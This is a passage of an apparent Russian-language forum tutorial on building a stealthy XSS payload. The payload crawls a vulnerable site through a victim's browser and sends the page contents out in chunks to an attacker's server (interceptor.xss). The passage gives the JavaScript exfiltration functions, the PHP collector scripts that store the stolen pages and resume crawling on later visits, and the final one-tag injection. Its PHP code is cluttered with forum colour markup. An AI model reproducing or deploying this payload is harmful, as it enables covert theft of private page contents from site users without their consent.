Пользовательская часть. Отчётность.
На данный момент выполнена лишь половина всей работы. Очередь за отправкой данных на сторону сервера, который подконтролен атакующему. Здесь, опять же, есть 2 варианта действий. Во-первых, можно создать на странице невидимый iframe, через изменение его html-кода создать внутри него форму, направленную на нужный сервер, заполнить необходимыми данными (код страницы, её URL) и отправить методом POST. А можно сделать эту же операцию, но с помощью JS-класса Image(). То есть создавать для каждой страницы изображение, указывать в его свойстве src путь к серверу, и в этот путь ещё помещать данные для передачи типа
http://interceptor.com/log.php?url=...&code=...
На самом деле первый вариант только кажется простым. При его реализации возникает множество проблем. Например отправив первую форму нужно снова очистить iframe и «нарисовать» вторую, что нельзя будет сделать из-за Same Orign Policy, ведь в нём уже будут данные с другого сервера. Можно конечно изменить src на адрес принадлежащий целевому домену, дождаться загрузки и взяться менять код уже тогда, но это целая куча действий, которых в случае с Image() можно вообще не производить. Поэтому мы всё сделаем именно с помощью этого JS-класса.
Здесь стоит остановиться и вспомнить про то, что при передаче исходных кодов в URL можно нарваться на ошибку «414 Request-URL Too Long». Чтоб такого не произошло, мы будем слать код на сервер по частям. То есть делать несколько запросов под ряд. А количество символов передаваемого за раз кода обозначим в соответствующей глобальной переменной.
Код:
var transferCodeLen = 1000;
На стандартной конфигурации Apache этого числа вполне достаточно. И теперь опишем саму функцию передачи данных. Она будет принимать url передаваемой страницы (чтоб на сервере можно было связать принимаемый код с отдельной ссылкой) и её html-код.
Код:
function sendToInterceptor(url, html) {
var img = new Image;
do {
img.src = "http://interceptor.xss/intercept.php?url=" + escape(url) + "&html=" + escape(html.substr(0, transferCodeLen));
html = html.substr( transferCodeLen );
} while ( html.length > 0 );
}
Как видите, всё до безобразия просто — режем код на куски и, пока он не кончится, по очереди запрашиваем получившиеся URL на сервере-перехватчике.
Теперь займёмся скриптом intercept.php. Он будет делать простейшую вещь — принимать 2 уже известных вам параметра, записывать ссылку в ./urls.txt (там будут собираться адреса всех принятых ссылок), а html-содержимое вносить в файл ./pages/md5-хеш-url.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$hash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./pages/[/COLOR][COLOR="#0000BB"]$hash[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'html'[/COLOR][COLOR="#007700"]]),[/COLOR][COLOR="#0000BB"]FILE_APPEND[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]FILE_APPEND[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Обратите внимание на то, что содержимое страниц постоянно дозаписывается. То есть перед каждым полностью новым запуском атаки нужно будет очищать содержимое папки pages.
Вернёмся к JS. Вызов функции sendToInterceptor() необходимо поместить прямо после окончания while-цикла обработки ссылок. Когда он закончился самое время отправить полученный html-код перехватчику т.*к. далее произойдёт проверка следующего адреса.
Серверная часть. Сохранение результатов.
Следующий этап — сохранение состояния сканирования и последующее к нему возвращение. Вы же помните что в самом начале мы объявляли переменную limit, призванную сделать работу нашего кода практически незаметной? Естественно когда пользователь зайдёт на данную страницу ещё раз (то есть снова вызовет наш код) мы должны продолжить сканирование именно с того места, где остановились в прошлый раз. Следовательно, нам нужно как-то передать на сторону клиента старые массивы links и checked. Последний мы уже можем передавать т.*к. его содержимое это фактически содержимое файла ./urls.txt. А вот первым сейчас и займёмся. Для этого напишем функцию report(). Она объединит всё содержимое links в одну строку, и уже знакомым нам методом передаст на сервер.
Код:
function report() {
links = escape(links.join("|||"));
var img = new Image;
do {
img.src = "http://interceptor.xss/command.php?act=save&links=" + links.substr(0, transferCodeLen);
links = links.substr( transferCodeLen );
} while ( links.length > 0 );
}
Её вызов нужно поместить в parseNextLink(), как раз перед единственным «return;» останавливающем всю работу.
Теперь возьмёмся за скрипт command.php. Он будет выполнять такие действия как сохранение материала и отдача клиенту данных прошлого сканирования. Сохранение происходит крайне просто:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]switch([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act'[/COLOR][COLOR="#007700"]]) {
case[/COLOR][COLOR="#DD0000"]'save'[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'links'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./links.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]FILE_APPEND[/COLOR][COLOR="#007700"]);
break;
}[/COLOR][/COLOR]
А вот над выдачей старых данных придётся немного поработать. Из основного кода уберём объявление массивов links и checked, и заменим их script-тегом, обращающимся к interceptor.xss.
В command.php, в случае приёма «get», считаем данные из urls.txt и links.txt, превратим их в массивы, переведём в JSON и выведем на экран, предварительно подписав в начале «var имя-переменной =»
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./links.txt"[/COLOR][COLOR="#007700"]) AND[/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./links.txt"[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./links.txt"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"|||"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]);
} else[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[]"[/COLOR][COLOR="#007700"];
print[/COLOR][COLOR="#DD0000"]"var links =[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#DD0000"];"[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]) AND[/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]);
} else[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[]"[/COLOR][COLOR="#007700"];
print[/COLOR][COLOR="#DD0000"]"var checked =[/COLOR][COLOR="#0000BB"]$checked[/COLOR][COLOR="#DD0000"];"[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Возможно вас смутят строки типа
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]} else[/COLOR][COLOR="#0000BB"]$links[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[]"[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Я тоже сначала подумал что можно через json_encode() прогнать пустой массив и получится что-то типа
Но это не так. Получается
А эта пустая ячейка только создаст нам проблем. И в конце этого кода необходимо очистить ./links.txt, ведь скоро придёт новая партия ссылок и они будут уже совсем другими.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./links.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
В возвращении списка проверенных ссылок есть один нюанс. Функция parseNextLink() проверяет достижение лимита именно по количеству записей в checked. А как только сканирование пойдёт второй раз (checked уже будет иметь количество ссылок размером в лимит) лимит нам необходимо будет увеличить, чтоб работа сразу же не остановилась. Поэтому в начало кода, после описания переменной limit, добавим вот такую строку:
Код:
limit = checked.length + limit;
Вы наверное уже догадались что с ./urls.txt необходимо тоже что-то делать. Там постоянно будут скапливаться повторяющиеся URL. Ими мы займёмся в самом конце, когда содержимое links уже будет сохранено. Для этого отведём отдельную ячейку нашего основного switch, которая будет выполнятся если в параметре «act» будет передано слово «end».
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]) AND[/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'trim'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_unique[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./urls.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$urls[/COLOR][COLOR="#007700"]));
}[/COLOR][/COLOR]
А вызов всего этого поместим в конце уже описанной функции report():
Код:
img.src = "http://interceptor.xss/command.php?act=end";
Итак. Основная часть работы полностью закончена. Что у нас есть? При первом обращении клиент начинает новое сканирование, стартовыми ссылками при котором являются те, что расположены на уязвимой странице. В процессе сканирования на сервер-перехватчик передаётся содержимое всех страниц к которым он обращается. В конце серверу отправляются ссылки которые стояли в очереди, но из-за достижения лимита не смогли быть проверены. При последующих просмотрах уязвимой страницы сканирование уже будет продолжаться с того места, где оно закончилось в прошлый раз.
На данный момент у нас имеется полностью рабочий вариант кода позволяющего записывать содержимое страниц получаемых от чужого лица (или, правильнее сказать, от чужого браузера). Остаётся только один небольшой штрих. Чтоб XSS-вставка не растягивалась на один script-тег и огромный кусок JS-кода, мы поместим его на сервер intercept.xss, в файл /static.js, а при запросе действия «get», сразу после вывода содержимого двух основных массивов, добавим строку
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]readfile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./static.js"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Теперь XSS-вставка на уязвимой странице состоит только из одного script-тега, что вполне приемлемо для реальных условий.